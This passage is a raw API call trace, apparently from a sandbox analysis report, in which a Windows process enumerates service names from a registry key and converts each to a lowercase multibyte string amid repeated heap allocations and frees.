returned 0x0 [0191.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0191.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.028] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0191.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0191.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a90, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0191.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.029] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0191.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0191.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.029] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0191.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0191.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.029] RegEnumKeyW (in: hKey=0x140, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0191.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0191.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.029] RegEnumKeyW (in: hKey=0x140, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0191.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0191.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.030] RegEnumKeyW (in: hKey=0x140, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0191.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0191.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0191.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.030] RegEnumKeyW (in: hKey=0x140, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0191.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0191.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.030] RegEnumKeyW (in: hKey=0x140, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0191.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0191.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.031] RegEnumKeyW (in: hKey=0x140, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0191.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0191.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.031] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.031] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.031] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.031] RegEnumKeyW (in: hKey=0x140, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0191.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0191.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.031] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.031] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.031] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.031] RegEnumKeyW (in: hKey=0x140, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0191.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0191.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.031] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.031] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.031] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.031] RegEnumKeyW (in: hKey=0x140, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0191.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.031] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0191.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.032] RegEnumKeyW (in: hKey=0x140, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0191.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0191.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.032] RegEnumKeyW (in: hKey=0x140, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0191.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0191.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.032] RegEnumKeyW (in: hKey=0x140, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0191.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0191.032] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.032] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.032] RegEnumKeyW (in: hKey=0x140, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0191.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0191.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.033] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0191.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0191.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.033] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0191.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0191.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.033] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0191.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0191.033] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.034] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0191.034] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.034] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0191.034] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 